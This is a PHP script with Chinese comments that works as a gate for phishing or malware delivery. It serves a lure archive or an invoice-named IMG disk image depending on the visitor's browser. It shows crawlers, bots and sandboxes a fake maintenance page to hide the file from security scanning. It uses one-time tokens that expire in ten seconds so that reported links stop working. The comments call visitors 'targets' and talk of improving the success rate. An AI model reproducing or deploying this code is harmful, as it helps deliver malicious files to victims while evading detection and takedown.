<?php
// =========================================================================
// 【核心配置区】—— 方便用户日常修改与维护（仅修改此区域即可）
// =========================================================================

/**
 * [配置项 1] 微软浏览器专用下载文件
 * 当检测到当前用户使用的是微软 Edge 或 IE 浏览器时，系统会自动下发此文件。
 * 支持修改为同目录下的任何文件名（例如：'2026.zip'、'2026.tar.gz' 等，微软浏览器只能下载压缩包，否则会拦截）。
 */
$msFile = '20260818042520.zip'; 

/**
 * [配置项 2] 其他浏览器专用下载文件
 * 当检测到用户使用的是谷歌 Chrome、苹果 Safari、火狐 Firefox 等非微软浏览器时，下发此文件。
 * 支持修改为同目录下的任何文件名（例如：'2026.img'，谷歌浏览器可以下载.img光盘镜像，减少目标额外操作，增加成功率）。
 */
$otherFile = 'ACC_INV-No.20260818042454.IMG'; 

/**
 * [配置项 3] 临时 Token (令牌) 存放目录
 * 用于存放一次性安全验证文件。__DIR__ 表示当前 icloud.php 所在的服务器绝对路径。
 * 修改建议：保持默认即可。系统会自动在当前目录下创建一个名为 `_tokens` 的隐藏文件夹。
 */
$tokenDir = __DIR__ . '/_tokens/'; 

/**
 * [配置项 4] 下载通道握手生命周期（单位：秒）
 * 作用：从点击下载到真正开始传输数据的有效时间窗。
 * 修改建议：通常设为 10 到 15 秒。既能给 360、迅雷等外部下载器充足的响应连接时间，
 * 又能确保链接被恶意复制、转发或举报后在 10 秒内永久失效。
 */
$lifespan = 10; 

// =========================================================================
// 【核心逻辑区】—— 自动化高安全闭环控制（技术人员专用，请勿随意改动）
// =========================================================================

// -------------------------------------------------------------------------
// 【第一步】抓取浏览器 User-Agent，实现 100% 后端硬特征识别
// -------------------------------------------------------------------------
$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');

// 严格锁定 Windows 全系列微软浏览器不可抹除的内核特征
$isMsEdgeChromium = (strpos($userAgent, 'edg/') !== false);      // 现代 Chromium 内核 Edge
$isMsEdgeLegacy   = (strpos($userAgent, 'edge/') !== false);     // 早期 EdgeHTML 内核 Edge
$isMsIE11         = (strpos($userAgent, 'trident/') !== false);  // 微软核心内置 IE11 内核
$isMsIELegacy     = (strpos($userAgent, 'msie ') !== false);     // 历史老版本 IE6 - IE10

// 初次访问时，根据底层特征预先分配目标下载文件
if ($isMsEdgeChromium || $isMsEdgeLegacy || $isMsIE11 || $isMsIELegacy) {
    $realFile = $msFile;
} else {
    $realFile = $otherFile;
}

// 自动检测并创建 Token 缓存目录，赋予安全的读写权限 (0755)
if (!is_dir($tokenDir)) {
    @mkdir($tokenDir, 0755, true);
}

// -------------------------------------------------------------------------
// 【第二步】反爬虫与防火墙机制（阻止网络蜘蛛、沙箱和审查工具）
// -------------------------------------------------------------------------
$spiders = ['tencenttraveler', 'qqdownload', 'mqqbrowser', 'micromessenger', 'weibo', 'aliyun', 'baidu', 'google', 'spider', 'bot', 'sandbox'];
foreach ($spiders as $spider) {
    if (strpos($userAgent, $spider) !== false) {
        // 发现爬虫伪装请求，直接返回虚假的系统维护提示，隐藏真实文件
        header("HTTP/1.1 200 OK");
        echo "<!DOCTYPE html><html><head><title>Under Maintenance</title></head><body><p>The system is currently undergoing scheduled maintenance. Please try again later.</p></body></html>";
        exit;
    }
}

// -------------------------------------------------------------------------
// 【第三步】首次握手：生成一次性随机安全 Token，并锁死浏览器状态
// -------------------------------------------------------------------------
if (!isset($_GET['tk'])) {
    // 生成一个 32 位的强随机加密暗号（无法被猜测或逆向）
    $token = bin2hex(random_bytes(16));
    $tokenFile = $tokenDir . $token;
    
    // 关键核心：将当前浏览器的判定状态（1=微软，0=其他）直接作为内容写入服务器本地文件。
    // 这能彻底防止下载器（如 IDM、迅雷）在二次多线程请求时因丢弃或伪造 UA 导致文件穿帮。
    $statusContent = ($isMsEdgeChromium || $isMsEdgeLegacy || $isMsIE11 || $isMsIELegacy) ? '1' : '0';
    @file_put_contents($tokenFile, $statusContent);
    
    // 携带该唯一暗号重定向跳转，进入正式下载通道
    $downloadUrl = "icloud.php?tk=" . $token;
    header("Location: " . $downloadUrl);
    exit;
}

// -------------------------------------------------------------------------
// 【第四步】二次验证：检查 Token 合法性、时效性并执行终极锁死
// -------------------------------------------------------------------------
$userToken = $_GET['tk'];
// 过滤非法字符，防止恶意用户利用 Token 参数进行路径遍历或注入攻击
$targetTokenFile = $tokenDir . preg_replace('/[^a-f0-9]/', '', $userToken); 

// 如果服务器本地没有这个 Token 文件，说明是伪造的、失效的、或是被举报后复制过来的链接
if (!file_exists($targetTokenFile)) {
    header("HTTP/1.1 404 Not Found");
    echo "<!DOCTYPE html><html><head><title>404 Not Found</title></head><body><h1>404 Not Found</h1><p>The requested URL was not found on this server.</p></body></html>";
    exit;
}

// 检查 Token 文件的寿命，判断是否在安全生命周期内
$createdAt = filemtime($targetTokenFile); 

if (time() - $createdAt > $lifespan) {
    @unlink($targetTokenFile); // 超过指定秒数（如10秒），立刻从服务器硬盘上物理删除，永久报废
    header("HTTP/1.1 404 Not Found");
    echo "Link expired.";
    exit;
}

// 读取初次请求时在服务器端锁死的浏览器状态，精准分发对应文件
$lockedStatus = @file_get_contents($targetTokenFile);
if ($lockedStatus === '1') {
    $realFile = $msFile;
} else {
    $realFile = $otherFile;
}

// 检查配置的文件在服务器上是否真实存在，若文件丢失则报错提示
if (!file_exists($realFile)) {
    header("HTTP/1.1 404 Not Found");
    echo "Error: Requested file is currently unavailable.";
    exit;
}

// -------------------------------------------------------------------------
// 【第五步】极健壮的二进制大文件流安全分发（规避内存溢出）
// -------------------------------------------------------------------------

// 彻底清理、关闭并压制所有潜在的 PHP 输出缓冲区，确保大文件下载不卡死、不损毁
while (ob_get_level()) {
    ob_end_clean();
}

// 发送极其标准、严谨的标准化下载响应头，强迫所有浏览器必须弹出下载框
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($realFile) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: public, max-age=0, must-revalidate'); 
header('Pragma: public');
header('Content-Length: ' . filesize($realFile)); // 声明精确文件大小，使下载进度条正常显示

// 垃圾回收：以 5% 的概率随机触发过期缓存清理，自动删除超过 1 分钟的历史垃圾 Token 文件，防止撑爆磁盘
if (rand(1, 20) === 10) {
    foreach (glob($tokenDir . '*') as $file) {
        if (time() - filemtime($file) > 60) {
            @unlink($file);
        }
    }
}

// 采用高级分块读取机制（每次读取 8KB 传给用户），完美支持大文件分发，服务器内存占用极低
$fileHandle = fopen($realFile, 'rb');
if ($fileHandle) {
    while (!feof($fileHandle)) {
        echo fread($fileHandle, 8192);
        flush(); // 强行把缓冲区数据推送至用户浏览器
    }
    fclose($fileHandle);
}
exit;
